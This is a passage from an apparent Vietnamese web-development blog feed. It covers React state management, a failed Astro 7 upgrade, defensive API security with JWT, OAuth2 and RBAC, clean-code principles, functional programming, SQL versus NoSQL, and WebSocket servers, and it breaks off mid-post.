Dùng khi: Bất kỳ dự án nào gọi API — TanStack Query nên là mặc định cho server state.

So Sánh

| Thư viện | Client/Server | Boilerplate | Bundle size | Khi nào dùng | |---|---|---|---|---| | Redux Toolkit | Client | Nhiều | 11KB | App lớn, state phức tạp | | Zustand | Client | Ít | 1KB | App vừa, đơn giản | | Jotai | Client | Rất ít | 3KB | State phân tán, atomic | | TanStack Query | Server | Ít | 13KB | Gần như mọi app |

Pattern Thực Tế

// Kết hợp Zustand (UI state) + TanStack Query (server state)

// UI state
const useUIStore = create(() => ({
  sidebarOpen: false,
  theme: 'light',
}));

// Server state — tự động cache, refetch, optimistic update
function useProjects() {
  return useQuery({
    queryKey: ['projects'],
    queryFn: fetchProjects,
  });
}

// Component
function Dashboard() {
  const { sidebarOpen, toggleSidebar } = useUIStore();
  const { data: projects, isLoading } = useProjects();

  return (
    <div className={sidebarOpen ? 'sidebar-open' : ''}>
      <button onClick={toggleSidebar}>Toggle</button>
      {isLoading ? <Spinner /> : <ProjectList projects={projects} />}
    </div>
  );
}

Kết Luận

Server state: TanStack Query (React Query) — mặc định cho mọi dự án
Client state phức tạp: Redux Toolkit hoặc Zustand
Client state đơn giản: useState/useContext là đủ
Form state: React Hook Form (không phải state management)

Không cần Redux cho mọi project. Hầu hết app chỉ cần TanStack Query + useState + vài Zustand store nhỏ.

Tài liệu tham khảo

Thử nâng cấp Astro 7 nhưng thất bại

Mon, 13 Jul 2026 00:00:00 GMT

Hôm nay tôi quyết định thử nâng cấp blog này từ Astro 6.1.8 lên Astro 7.0.7 - phiên bản mới nhất với nhiều cải tiến về hiệu suất. Tuy nhiên, kết quả không như mong đợi.

Astro 7 có gì mới?

Astro 7 là một bản nâng cấp lớn với nhiều thay đổi:

Vite 8 + Rolldown: Thay thế Rollup bằng Rolldown - bundler mới viết bằng Rust, được quảng cáo là nhanh hơn 10-30 lần
Rust compiler: Compiler mới cho file .astro thay thế version Go cũ
Markdown processor mới: Sätteri thay thế pipeline remark/rehype mặc định
Advanced routing: Tính năng routing nâng cao được bật mặc định

Quá trình nâng cấp

1. Cập nhật dependencies

bun add astro@7.0.7 @astrojs/vercel@11.0.2 @astrojs/markdown-remark

Cần cài thêm @astrojs/markdown-remark vì Astro 7 mặc định dùng Sätteri, nhưng blog này vẫn muốn dùng pipeline remark/rehype cũ.

2. Cập nhật cấu hình

Trong astro.config.ts, cần:

Xóa các flag experimental đã deprecated: rustCompiler, queuedRendering, svgo
Cấu hình markdown để dùng unified() từ @astrojs/markdown-remark thay vì remarkPlugins/rehypePlugins trực tiếp

3. Cập nhật @astrojs/mdx

bun add @astrojs/mdx@7.0.2

Vấn đề gặp phải

Sau khi cập nhật, astro check chạy thành công, nhưng astro build thất bại với lỗi:

[PARSE_ERROR] Logical expressions and coalesce expressions cannot be mixed
- in node_modules/astro-pure/components/pages/PostPreview.astro at 2972..3003

Nguyên nhân

Astro 7 sử dụng Rolldown làm bundler mặc định thay vì Rollup. Tuy nhiên, phiên bản astro-pure@1.4.6 (theme đang dùng) có cú pháp mà Rolldown không thể parse được.

Thử nghiệm workaround

Tôi đã thử cấu hình để dùng Rollup thay vì Rolldown:

vite: {
  build: {
    bundler: 'rollup'
  }
}

Nhưng Astro không hỗ trợ option này trong cấu hình. Không có cách nào disable Rolldown trong Astro 7.

Giải pháp

Cuối cùng phải downgrade về Astro 6.4.7:

bun add astro@6.4.7 @astrojs/vercel@10.0.4 @astrojs/mdx@6.0.0

Và revert các thay đổi trong astro.config.ts.

Bài học

Kiểm tra compatibility: Trước khi upgrade major version, nên kiểm tra xem các dependencies quan trọng (như theme) đã hỗ trợ chưa
Rolldown vẫn mới: Dù được quảng cáo là nhanh hơn, nhưng Rolldown vẫn còn nhiều vấn đề compatibility với các package cũ
Chờ đợi update: Cần đợi astro-pure release version hỗ trợ Astro 7 trước khi thử lại

Kết luận

Astro 7 có nhiều cải tiến hấp dẫn, nhưng hiện tại chưa phù hợp với blog này do vấn đề tương thích. Tôi sẽ chờ đợi astro-pure cập nhật trước khi thử nâng cấp lại.

Nếu bạn đang dùng Astro 6 và có ý định upgrade lên 7, hãy kiểm tra kỹ các dependencies của mình, đặc biệt là nếu bạn dùng theme hoặc integration bên thứ ba.

Tài liệu tham khảo

API Security — OAuth2, JWT Và Bảo Vệ Endpoint

Sun, 12 Jul 2026 00:00:00 GMT

Xác thực (authentication) và phân quyền (authorization) là hai việc khác nhau. Auth xác định bạn là ai, authorization xác định bạn được làm gì.

Authentication — Bạn Là Ai?

JWT — JSON Web Token

JWT gồm 3 phần: header.payload.signature:

eyJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOjF9.abc123...

import jwt from 'jsonwebtoken';

// Tạo token
function generateTokens(userId: number, role: string) {
  const accessToken = jwt.sign(
    { userId, role },
    process.env.JWT_SECRET!,
    { expiresIn: '15m' }
  );

  const refreshToken = jwt.sign(
    { userId },
    process.env.REFRESH_SECRET!,
    { expiresIn: '7d' }
  );

  return { accessToken, refreshToken };
}

// Verify token (middleware)
function authenticate(req: Request, res: Response, next: NextFunction) {
  const header = req.headers.authorization;
  if (!header?.startsWith('Bearer ')) {
    return res.status(401).json({ error: 'Missing token' });
  }

  try {
    const token = header.split(' ')[1];
    const payload = jwt.verify(token, process.env.JWT_SECRET!);
    req.user = payload;
    next();
  } catch {
    res.status(401).json({ error: 'Invalid token' });
  }
}

JWT Best Practices

Access token ngắn (15 phút) — giảm thiểu rủi ro nếu bị lộ
Refresh token dài (7-30 ngày) — lưu trong httpOnly cookie
Không lưu secret trong code — dùng env variable
Secret mạnh — ít nhất 256-bit random
Có rotation — đổi refresh token mỗi lần dùng

Refresh Token Flow

app.post('/auth/refresh', async (req, res) => {
  const token = req.cookies.refreshToken;
  if (!token) return res.status(401).json({ error: 'No refresh token' });

  try {
    const payload = jwt.verify(token, process.env.REFRESH_SECRET!);

    // Verify token còn trong DB (có thể revoke)
    const stored = await db.refreshTokens.findUnique({ where: { token } });
    if (!stored) return res.status(401).json({ error: 'Token revoked' });

    // Xoá token cũ, tạo token mới (rotation)
    await db.refreshTokens.delete({ where: { id: stored.id } });

    const tokens = generateTokens(payload.userId, payload.role);
    await db.refreshTokens.create({
      data: { token: tokens.refreshToken, userId: payload.userId }
    });

    res.cookie('refreshToken', tokens.refreshToken, {
      httpOnly: true,
      secure: true,
      sameSite: 'strict',
      maxAge: 7 * 24 * 60 * 60 * 1000,
    });

    res.json({ accessToken: tokens.accessToken });
  } catch {
    res.status(401).json({ error: 'Invalid refresh token' });
  }
});

OAuth2 — Ủy Quyền Cho Bên Thứ Ba

OAuth2 cho phép user đăng nhập bằng Google, GitHub, Facebook mà không cần share password.

Flow Authorization Code

User → App → Redirect → Google Login → Authorization Code → App Server
                                                              ↓
                                            App Server → Google → Access Token
                                                              ↓
                                            App Server dùng token gọi Google API

// 1. Redirect user đến Google
app.get('/auth/google', (req, res) => {
  const params = new URLSearchParams({
    client_id: process.env.GOOGLE_CLIENT_ID!,
    redirect_uri: 'http://localhost:3000/auth/google/callback',
    response_type: 'code',
    scope: 'openid email profile',
  });
  res.redirect(`https://accounts.google.com/o/oauth2/auth?${params}`);
});

// 2. Callback — nhận code, đổi lấy token
app.get('/auth/google/callback', async (req, res) => {
  const { code } = req.query;

  const tokenResponse = await fetch('https://oauth2.googleapis.com/token', {
    method: 'POST',
    body: new URLSearchParams({
      code: code as string,
      client_id: process.env.GOOGLE_CLIENT_ID!,
      client_secret: process.env.GOOGLE_CLIENT_SECRET!,
      redirect_uri: 'http://localhost:3000/auth/google/callback',
      grant_type: 'authorization_code',
    }),
  });

  const { access_token } = await tokenResponse.json();

  const userResponse = await fetch('https://www.googleapis.com/oauth2/v2/userinfo', {
    headers: { Authorization: `Bearer ${access_token}` },
  });

  const user = await userResponse.json();
  // Tìm hoặc tạo user trong DB, tạo session
});

Authorization — Bạn Được Làm Gì?

RBAC — Role-Based Access Control

enum Role {
  USER = 'user',
  MODERATOR = 'moderator',
  ADMIN = 'admin',
}

const permissions: Record<Role, string[]> = {
  [Role.USER]: ['read:own', 'write:own'],
  [Role.MODERATOR]: ['read:any', 'write:own', 'delete:own'],
  [Role.ADMIN]: ['read:any', 'write:any', 'delete:any'],
};

function authorize(...required: string[]) {
  return (req: Request, res: Response, next: NextFunction) => {
    const userRole = req.user.role as Role;
    const userPerms = permissions[userRole];

    const hasAll = required.every(p => userPerms.includes(p));
    if (!hasAll) {
      return res.status(403).json({ error: 'Insufficient permissions' });
    }
    next();
  };
}

// Usage
app.delete('/users/:id', authenticate, authorize('delete:any'), deleteUser);

ABAC — Attribute-Based Access Control

function canAccessResource(user: User, resource: Resource): boolean {
  // Admin access everything
  if (user.role === 'admin') return true;

  // User chỉ access resource của mình
  if (resource.ownerId === user.id) return true;

  // Moderator xoá bài vi phạm
  if (user.role === 'moderator' && resource.type === 'post' && resource.flagged) {
    return true;
  }

  return false;
}

Bảo Vệ Endpoint

Rate Limiting

import rateLimit from 'express-rate-limit';

// Global — 100 request/phút
app.use(rateLimit({
  windowMs: 60 * 1000,
  max: 100,
}));

// Auth endpoints — strict hơn
const authLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,
  max: 5,
  message: 'Too many login attempts',
});
app.use('/auth/login', authLimiter);

Input Validation

import { z } from 'zod';

const loginSchema = z.object({
  email: z.string().email(),
  password: z.string().min(8).max(100),
});

app.post('/auth/login', (req, res) => {
  const result = loginSchema.safeParse(req.body);
  if (!result.success) {
    return res.status(400).json({
      error: 'Validation failed',
      details: result.error.flatten(),
    });
  }
  // result.data — an toàn, đã validate
});

CSRF Protection

import csrf from 'csurf';

app.use(csrf({ cookie: true }));

// Gửi CSRF token trong form
app.get('/form', (req, res) => {
  res.render('form', { csrfToken: req.csrfToken() });
});

Security Headers

Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Security-Policy: default-src 'self'
Referrer-Policy: strict-origin-when-cross-origin

Password — Không Bao Giờ Lưu Plain Text

import bcrypt from 'bcrypt';

const SALT_ROUNDS = 12;

async function hashPassword(password: string): Promise<string> {
  return bcrypt.hash(password, SALT_ROUNDS);
}

async function verifyPassword(password: string, hash: string): Promise<boolean> {
  return bcrypt.compare(password, hash);
}

// Signup
app.post('/auth/signup', async (req, res) => {
  const hashedPassword = await hashPassword(req.body.password);
  await db.users.create({
    data: {
      email: req.body.email,
      passwordHash: hashedPassword, // Không lưu password gốc
    },
  });
});

Logout & Revoke

app.post('/auth/logout', async (req, res) => {
  // Xoá refresh token khỏi DB
  await db.refreshTokens.deleteMany({
    where: { userId: req.user.id },
  });

  res.clearCookie('refreshToken');
  res.json({ message: 'Logged out' });
});

// Revoke tất cả sessions của user
app.post('/auth/revoke-all', authenticate, async (req, res) => {
  await db.refreshTokens.deleteMany({
    where: { userId: req.user.id },
  });
  res.json({ message: 'All sessions revoked' });
});

Checklist

[ ] JWT với access token ngắn hạn + refresh token rotation
[ ] Password hash bằng bcrypt (cost ≥ 12)
[ ] Rate limiting trên auth endpoints
[ ] Input validation (Zod, Joi)
[ ] CSRF protection cho cookie-based auth
[ ] Security headers (helmet)
[ ] HTTPS mandatory
[ ] CORS whitelist
[ ] Audit log cho hành động nhạy cảm
[ ] Dependency scan (npm audit)

Kết Luận

Security là layered defense. JWT cho stateless auth, refresh token cho UX, OAuth2 cho third-party login, RBAC/ABAC cho authorization. Không có "đủ an toàn" — chỉ có "đủ an toàn cho hôm nay".

Tài liệu tham khảo

Clean Code — Viết Code Người Khác (Và Chính Bạn) Có Thể Đọc

Sat, 11 Jul 2026 00:00:00 GMT

"Code sạch không phải viết cho máy tính — nó viết cho con người." — Robert C. Martin

1. Đặt Tên — Khó Nhất Trong Lập Trình

Biến — Cho Biết Nó Chứa Gì

// ❌ Tệ
const d = new Date();
const arr = [1, 2, 3];
const fn = () => {};
const data = fetchData();

// ✅ Tốt
const currentDate = new Date();
const userIds = [1, 2, 3];
const handleSubmit = () => {};
const userProfile = await fetchUserProfile();

Boolean — Câu Hỏi Có/Không

// ❌ Tệ
const flag = true;
const status = false;
const login = true;

// ✅ Tốt
const isActive = true;
const hasPermission = false;
const isLoggedIn = true;

Hàm — Mô Tả Hành Động

// ❌ Tệ
function data(id: number) { ... }
function handle(id: number) { ... }

// ✅ Tốt
function getUserById(id: number) { ... }
function deleteUser(id: number) { ... }
function sendEmailNotification(email: string) { ... }

2. Function Nhỏ — Một Hàm Một Việc

// ❌ Tệ — function làm quá nhiều việc
function processOrder(orderId: number) {
  // Validate
  const order = db.orders.findById(orderId);
  if (!order) throw new Error('Order not found');

  // Tính toán
  const total = order.items.reduce((sum, item) => sum + item.price * item.qty, 0);
  const discount = total > 100 ? total * 0.1 : 0;
  const finalTotal = total - discount;

  // Gửi email
  const user = db.users.findById(order.userId);
  sendEmail(user.email, `Total: ${finalTotal}`);

  // Cập nhật stock
  order.items.forEach(item => {
    db.products.decrementStock(item.productId, item.qty);
  });

  // Log
  logger.info(`Order ${orderId} processed`);
}

// ✅ Tốt — tách thành nhiều hàm nhỏ
function processOrder(orderId: number) {
  const order = getOrderOrThrow(orderId);
  const total = calculateTotal(order);
  const finalTotal = applyDiscount(total);
  notifyUser(order.userId, finalTotal);
  updateInventory(order.items);
  logProcessing(orderId);
}

3. DRY — Don't Repeat Yourself

// ❌ Tệ — code lặp
function validateEmail(email: string) {
  return /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email);
}

function createUser(data: any) {
  if (!validateEmail(data.email)) throw new Error('Invalid email');
  // ...
}

function updateUser(data: any) {
  if (!validateEmail(data.email)) throw new Error('Invalid email');
  // ...
}

// ✅ Tốt — extract validation
function validateUserInput(data: any) {
  const errors: string[] = [];
  if (!validateEmail(data.email)) errors.push('Invalid email');
  if (data.age < 18) errors.push('Must be 18+');
  return errors;
}

function createUser(data: any) {
  const errors = validateUserInput(data);
  if (errors.length) throw new Error(errors.join(', '));
  // ...
}

4. Comments — Code Tự Giải Thích

// ❌ Tệ — comment giải thích điều code đã nói
// Set counter to 0
let counter = 0;

// Loop through users
users.forEach(user => {
  // Check if user is active
  if (user.isActive) {
    // Increment counter
    counter++;
  }
});

// ✅ Tốt — comment giải thích WHY, không phải WHAT
// Sử dụng offset-based pagination vì cursor-based không support sort
const users = await db.users.find()
  .skip(page * limit)
  .limit(limit);

// Workaround: API cũ trả về field "full_name" thay vì "name"
const name = response.full_name || response.name;

5. Error Handling — Đừng Nuốt Lỗi

// ❌ Tệ — nuốt lỗi
try {
  await processPayment();
} catch (e) {
  // Làm ngơ
}

// ❌ Tệ — log rồi throw generic
try {
  await processPayment();
} catch (e) {
  console.error(e);
  throw new Error('Something went wrong');
}

// ✅ Tốt — specific error, meaningful message
try {
  await processPayment();
} catch (error) {
  logger.error({ err: error, paymentId }, 'Payment processing failed');
  throw new PaymentError('Payment failed. Please try again.', { cause: error });
}

6. Formatting — Nhất Quán

// Cấu trúc file
// 1. Imports (sorted)
import { z } from 'zod';
import { db } from '../db';
import { AppError } from '../shared/errors';

// 2. Constants
const MAX_RETRIES = 3;

// 3. Types/Interfaces
interface UserInput { ... }

// 4. Functions
export function createUser(input: UserInput) { ... }

// Dùng formatter tự động (Prettier, Biome)
// Dùng linter (ESLint) enforce style

7. KISS — Keep It Simple, Stupid

// ❌ Tệ — over-engineering
const result = await new Promise((resolve) => {
  process.nextTick(() => {
    resolve(expensiveCalculation());
  });
});

// ✅ Tốt — đơn giản
const result = expensiveCalculation();

8. YAGNI — You Ain't Gonna Need It

// ❌ Tệ — viết trước khi cần
class UserService {
  constructor(
    private cache: CacheService,
    private logger: LoggerService,
    private analytics: AnalyticsService,
    private eventBus: EventBus,
  ) {}
  // ... hàng tá method chưa dùng đến
}

// ✅ Tốt — chỉ viết những gì cần NOW
class UserService {
  constructor(private db: Database) {}
  async findById(id: number) { ... }
  async create(data: UserInput) { ... }
}

9. Law of Demeter — Đừng Gọi Quá Sâu

// ❌ Tệ — train wreck
const city = user.getAddress().getCity().getName();

// ✅ Tốt — hỏi trực tiếp
const city = user.getCityName();

// Hoặc dùng optional chaining
const city = user?.address?.city?.name;

10. Testability — Code Dễ Test

// ❌ Tệ — hardcode dependency
class EmailService {
  send(email: string) {
    const transporter = nodemailer.createTransport({ ... });
    // ...
  }
}

// ✅ Tốt — inject dependency
class EmailService {
  constructor(private transporter: Transporter) {}
  send(email: string) {
    return this.transporter.sendMail(email);
  }
}

// Test
const mockTransporter = { sendMail: vi.fn() };
const service = new EmailService(mockTransporter);

Kết Luận

Clean code không phải "đẹp" — nó là dễ đọc, dễ sửa, dễ bảo trì. Nguyên tắc vàng: viết code như người tiếp theo đọc nó là một kẻ tâm thần biết địa chỉ nhà bạn.

Tên rõ ràng — biến, hàm, class
Function nhỏ — mỗi hàm một việc
DRY — đừng lặp lại
KISS — đơn giản
YAGNI — chỉ viết khi cần
Testable — inject dependency

Tài liệu tham khảo

Functional Programming — Tư Duy Mới Cho Code Sạch Hơn

Fri, 10 Jul 2026 00:00:00 GMT

Functional programming (FP) là paradigm coi tính toán như evaluation của function, tránh state và mutable data. Không chỉ dành cho Haskell — áp dụng FP trong JS/TS giúp code dễ đoán, dễ test.

Pure Function — Hàm Thuần Khiết

// ❌ Impure — phụ thuộc external state
let taxRate = 0.1;
function calculatePrice(price: number) {
  return price + price * taxRate; // taxRate có thể thay đổi
}

// ✅ Pure — cùng input → cùng output, không side effect
function calculatePrice(price: number, taxRate: number) {
  return price + price * taxRate;
}

Lợi ích: Dễ test (không cần mock), dễ cache (memoization), dễ debug.

Immutability — Không Thay Đổi

// ❌ Mutate trực tiếp
const user = { name: 'Alice', age: 25 };
user.age = 26; // Mutate!

// ✅ Immutable — tạo object mới
const updatedUser = { ...user, age: 26 };

// Với array
const numbers = [1, 2, 3];

// ❌ Mutate
numbers.push(4);

// ✅ Immutable
const newNumbers = [...numbers, 4];
// hoặc
const newNumbers = numbers.concat(4);

Immer — thư viện giúp immutable dễ dàng:

import { produce } from 'immer';

const state = { users: [{ id: 1, name: 'Alice' }] };

const nextState = produce(state, (draft) => {
  draft.users[0].name = 'Bob';
});
// state không thay đổi, nextState là object mới

Higher-Order Function — Hàm Bậc Cao

Function nhận function làm tham số hoặc trả về function:

// HOF — trả về function
function createLogger(prefix: string) {
  return (message: string) => {
    console.log(`[${prefix}] ${message}`);
  };
}

const infoLogger = createLogger('INFO');
const errorLogger = createLogger('ERROR');

infoLogger('Server started');  // [INFO] Server started
errorLogger('Connection failed');  // [ERROR] Connection failed

Map, Filter, Reduce — Ba Trụ Cột

const numbers = [1, 2, 3, 4, 5];

// Map — biến đổi từng phần tử
const doubled = numbers.map(n => n * 2);
// [2, 4, 6, 8, 10]

// Filter — lọc
const even = numbers.filter(n => n % 2 === 0);
// [2, 4]

// Reduce — gom về một giá trị
const sum = numbers.reduce((acc, n) => acc + n, 0);
// 15

Ví dụ Thực Tế

interface Order {
  id: number;
  amount: number;
  status: 'pending' | 'paid' | 'cancelled';
}

const orders: Order[] = [
  { id: 1, amount: 100, status: 'paid' },
  { id: 2, amount: 200, status: 'pending' },
  { id: 3, amount: 300, status: 'paid' },
];

// Tính tổng amount của đơn đã paid
const totalPaid = orders
  .filter(o => o.status === 'paid')
  .map(o => o.amount)
  .reduce((acc, amount) => acc + amount, 0);
// 400

// Thay vì dùng for loop + if

Function Composition — Kết Hợp Function

const toUpperCase = (s: string) => s.toUpperCase();
const exclaim = (s: string) => `${s}!`;
const repeat = (s: string) => `${s} ${s}`;

// Composition thủ công
const shout = (s: string) => repeat(exclaim(toUpperCase(s)));

// Với compose
const compose = (...fns: Function[]) =>
  (x: any) => fns.reduceRight((acc, fn) => fn(acc), x);

const shout = compose(repeat, exclaim, toUpperCase);
console.log(shout('hello')); // HELLO! HELLO!

// Với pipe (ngược chiều)
const pipe = (...fns: Function[]) =>
  (x: any) => fns.reduce((acc, fn) => fn(acc), x);

const shout = pipe(toUpperCase, exclaim, repeat);

Curry — Function Có Sẵn Tham Số

// Curry — function nhận từng tham số một
const multiply = (a: number) => (b: number) => a * b;

const double = multiply(2);
const triple = multiply(3);

console.log(double(5));  // 10
console.log(triple(5));  // 15

Maybe — Xử Lý Null An Toàn

class Maybe<T> {
  private constructor(private value: T | null) {}

  static of<T>(value: T | null | undefined): Maybe<T> {
    return new Maybe(value ?? null);
  }

  map<U>(fn: (value: T) => U): Maybe<U> {
    if (this.value === null) return Maybe.of(null);
    return Maybe.of(fn(this.value));
  }

  getOrElse(defaultValue: T): T {
    return this.value ?? defaultValue;
  }
}

// Usage
const user = Maybe.of(getUserFromDB(1))
  .map(u => u.address)
  .map(a => a.city)
  .getOrElse('Unknown');

// Không cần if (user && user.address && user.address.city)

Lợi Ích Của FP

| Vấn đề | OOP | FP | |---|---|---| | State | Object mutation | Immutability | | Side effects | Method gọi method | Pure functions | | Error handling | try/catch | Either, Maybe | | Loops | for, while | map, filter, reduce | | Dependencies | DI, mock | Pure function, no mock needed |

FP Trong React

React khuyến khích FP:

// Component là pure function (lý tưởng)
function UserCard({ user }: { user: User }) {
  return (
    <div>
      <h2>{user.name}</h2>
      <p>{user.email}</p>
    </div>
  );
}

// useReducer + dispatch → reducer là pure function
// Immer + useState → immutable state

Kết Luận

Bạn không cần chuyển hoàn toàn sang FP — chỉ cần áp dụng một số nguyên tắc:

Pure functions cho logic business — dễ test
Immutability — tránh bug khó lường
map/filter/reduce — thay for loop
Function composition — code nhỏ, kết hợp linh hoạt

FP làm code dễ hiểu, dễ kiểm tra, dễ bảo trì. Không phải "tất cả hoặc không" — hãy áp dụng dần.

Tài liệu tham khảo

SQL vs NoSQL — Chọn Database Cho Dự Án Của Bạn

Thu, 09 Jul 2026 00:00:00 GMT

Chọn database là một trong những quyết định quan trọng nhất khi thiết kế hệ thống. SQL hay NoSQL? Câu trả lời: "tùy".

SQL — Structured Query Language

Ví dụ: PostgreSQL, MySQL, SQLite, MariaDB, SQL Server

Đặc điểm

Schema cố định — bảng, cột, kiểu dữ liệu định nghĩa trước
ACID — Atomicity, Consistency, Isolation, Durability
Relations — JOIN giữa các bảng qua foreign key
Mature — 50+ năm phát triển, tooling phong phú

Khi nào dùng SQL

-- Dữ liệu có quan hệ rõ ràng
CREATE TABLE orders (
    id SERIAL PRIMARY KEY,
    user_id INT REFERENCES users(id),
    total DECIMAL(10,2),
    created_at TIMESTAMP DEFAULT NOW()
);

-- Cần JOIN, transaction, consistency
SELECT u.name, COUNT(o.id) as order_count
FROM users u
LEFT JOIN orders o ON u.id = o.user_id
GROUP BY u.id
HAVING COUNT(o.id) > 5;

Use case: Finance, ERP, CRM, hệ thống cần consistency mạnh.

NoSQL — Not Only SQL

Ví dụ: MongoDB (Document), Redis (Key-Value), Cassandra (Wide-column), Neo4j (Graph)

Document DB (MongoDB)

// Schema-less — mỗi document có thể khác nhau
{
  "_id": "user_123",
  "name": "Alice",
  "email": "alice@example.com",
  "orders": [
    { "id": "ord_1", "total": 100, "items": ["item_a", "item_b"] },
    { "id": "ord_2", "total": 50 }
  ]
}

Ưu: Linh hoạt, không cần migration, dữ liệu lồng nhau tự nhiên. Nhược: Không JOIN, không ACID mạnh (MongoDB có transaction nhưng limited).

Key-Value (Redis)

SET user:123 '{"name":"Alice","email":"alice@example.com"}'
SET session:abc123 user_123 EX 3600
LPUSH notifications:user_123 "New message"

Ưu: Siêu nhanh (in-memory), đơn giản. Nhược: Không query phức tạp, dữ liệu phải fit memory.

Wide-column (Cassandra)

CREATE TABLE user_events (
    user_id UUID,
    event_time TIMESTAMP,
    event_type TEXT,
    data TEXT,
    PRIMARY KEY (user_id, event_time)
);

Ưu: Scale ngang cực tốt, write throughput cao. Nhược: Query pattern phải biết trước, không JOIN.

Graph (Neo4j)

MATCH (u:User {id: '123'})-[:FOLLOWS]->(f:User)-[:POSTED]->(p:Post)
RETURN p

Ưu: Quan hệ phức tạp, recommendation, social graph. Nhược: Không tốt cho simple CRUD.

So Sánh

| Tiêu chí | SQL | NoSQL | |---|---|---| | Schema | Cố định, rigid | Linh hoạt, dynamic | | ACID | Mạnh (full ACID) | Yếu hơn (tùy loại) | | JOIN | Tốt, built-in | Không hoặc limited | | Scale | Vertical (chính) | Horizontal (dễ) | | Query | SQL chuẩn, mạnh | Tùy database | | Consistency | Strong | Eventual (thường) | | Maturity | Cao | Trung bình |

CAP Cho Database

SQL (PostgreSQL):  CP — ưu tiên Consistency
MongoDB:          CP (mặc định) hoặc AP
Cassandra:        AP — ưu tiên Availability
Redis:            CP (single node) hoặc AP (cluster)

Khi Nào Chọn SQL

Dữ liệu có quan hệ chặt chẽ (user-order-product)
Cần transaction (chuyển tiền, đặt hàng)
Query phức tạp, nhiều JOIN
Schema ổn định, ít thay đổi
Consistency là ưu tiên hàng đầu

Khi Nào Chọn NoSQL

Schema thay đổi thường xuyên (MVP, poc)
Cần scale ngang lớn (millions của users)
Dữ liệu nested tự nhiên (JSON, document)
Cache, session, real-time (Redis)
Time-series data, event logging (Cassandra, InfluxDB)
Social graph, recommendation (Neo4j)

Polyglot Persistence — Dùng Cả Hai

Nhiều hệ thống dùng nhiều database cho nhiều mục đích:

PostgreSQL → Dữ liệu chính (orders, users, products)
Redis      → Cache, session, rate limiting
MongoDB    → Content, bài viết, log
Elasticsearch → Full-text search

Không có luật nào cấm dùng cả SQL và NoSQL trong cùng project.

Migration từ SQL sang NoSQL

// SQL: users table + orders table → JOIN
// NoSQL: embedded orders trong user document

// MongoDB
db.users.insertOne({
  name: 'Alice',
  orders: [
    { id: 1, total: 100, items: ['laptop'] },
    { id: 2, total: 50, items: ['mouse'] }
  ]
});

// Nếu orders quá nhiều → reference thay vì embed
db.users.findOne({ _id: 'user_123' })
// Sau đó query orders riêng
db.orders.find({ user_id: 'user_123' })

Kết Luận

SQL không chết, NoSQL không phải thần dược. Chọn theo:

Dữ liệu có quan hệ? → SQL
Cần ACID? → SQL
Cần scale ngang? → NoSQL
Schema thay đổi liên tục? → NoSQL
Phân tích real-time? → NoSQL (Cassandra, ClickHouse)

Hay nhất: biết cả hai. Dự án thực tế thường dùng PostgreSQL + Redis.

Tài liệu tham khảo

WebSocket Và Real-time — Chat, Notification, Live Data

Wed, 08 Jul 2026 00:00:00 GMT

HTTP là request-response — client hỏi, server trả lời. WebSocket là kết nối 2 chiều, liên tục — cả hai đều có thể gửi bất kỳ lúc nào.

WebSocket vs HTTP

| HTTP | WebSocket | |---|---| | Client gửi request → Server trả response | Kết nối persistent, 2 chiều | | Mở/kết nối mỗi request | Handshake 1 lần, giữ kết nối | | Polling cho real-time (kém hiệu quả) | Push real-time tự nhiên | | Header lớn mỗi request | Header nhỏ sau handshake |

WebSocket Cơ Bản

Server (Node.js + ws)

import { WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 8080 });

wss.on('connection', (ws) => {
  console.log('Client connected');

  // Nhận message từ client
  ws.on('message', (data) => {
    console.log('Received:', data.toString());

    // Gửi lại cho client đó
    ws.send(`Echo: ${data}`);
  });

  // Gửi message chào
  ws.send('Welcome!');

  ws.on('close', () => {
    console.log('Client disconnected');
  });
});

Client

const ws = new WebSocket('ws://localhost:8080');

ws.onopen = () => {
  console.log('Connected');
  ws.send('Hello server!');
};

ws.onmessage = (event) => {
  console.log('Server says:', event.data);
};

ws.onclose = () => {
  console.log('Disconnected');
};

ws.onerror = (error) => {
  console.error('Error:', error);
};

Broadcast — Gửi Đến Tất Cả Client

wss.on('connection', (ws) => {
  ws.on('message', (data) => {
    // Gửi cho tất cả client khác
    wss.clients.forEach((client) => {
      if (client !== ws && client.readyState === WebSocket.OPEN) {
        client.send(data.toString());
      }
    });
  });
});

Rooms — Phòng Chat

const rooms = new Map<string, Set<WebSocket>>();

function joinRoom(ws: WebSocket, room: string) {
  if (!rooms.has(room)) {
    rooms.set(room, new Set());
  }
  rooms.get(room)!.add(ws);
}

function broadcastToRoom(room: string, message: string, sender?: WebSocket) {
  const clients = rooms.get(room);
  if (!clients) return;

  clients.forEach((client) => {
    if (client.readyState === WebSocket.OPEN) {
      client.send(message);
    }
  });
}

// Usage
wss.on('connection', (ws) => {
  ws.on('message', (data) => {
    const { type, room, message } = JSON.parse(data.toString());

    switch (type) {
      case 'join':
        joinRoom(ws, room);
        break;
      case 'message':
        broadcastToRoom(room, message);
        break;
    }
  });
});

Scale WebSocket — Nhiều Server

Một server WebSocket không scale được — kết nối không share giữa các server.

Giải Pháp: Pub/Sub + Sticky Session

Client A → Server 1 → Redis Pub/Sub → Server 2 → Client B

import { createClient } from 'redis';
import { WebSocketServer } from 'ws';

const redis = createClient();
const pub = redis.duplicate();
const sub = redis.duplicate();

// Subscribe để nhận message từ server khác
sub.subscribe('chat:messages', (message) => {
  // Broadcast đến client trên server này
  wss.clients.forEach((client) => {
    client.send(message);
  });
});

wss.on('connection', (ws) => {
  ws.on('message', (data) => {
    // Publish lên Redis — các server khác cũng nhận được
    pub.publish('chat:messages', data.toString());
    // Broadcast local
    // ...
  });
});

Sticky session — đảm bảo client luôn kết nối cùng server (dùng IP hash cookie).

WebSocket với Bun

Bun.serve({
  port: 8080,
  fetch(req, server) {
    if (server.upgrade(req)) {
      return; // WebSocket upgrade
    }
    return new Response('Hello');
  },
  websocket: {
    open(ws) {
      ws.subscribe('chat'); // Subscribe topic
    },
    message(ws, message) {
      ws.publish('chat', message); // Broadcast trong topic
    },
    close(ws) {
      ws.unsubscribe('chat');
    },
  },
});

Bun WebSocket built-in — không cần thư viện, pub/sub tích hợp sẵn.

WebSocket Với Cloudflare Durable Objects

Durable Objects cho WebSocket real-time có state, scale global:

import { DurableObject } from 'cloudflare:workers';

export class ChatRoom extends DurableObject {
  private sessions = new Map<string, WebSocket>();

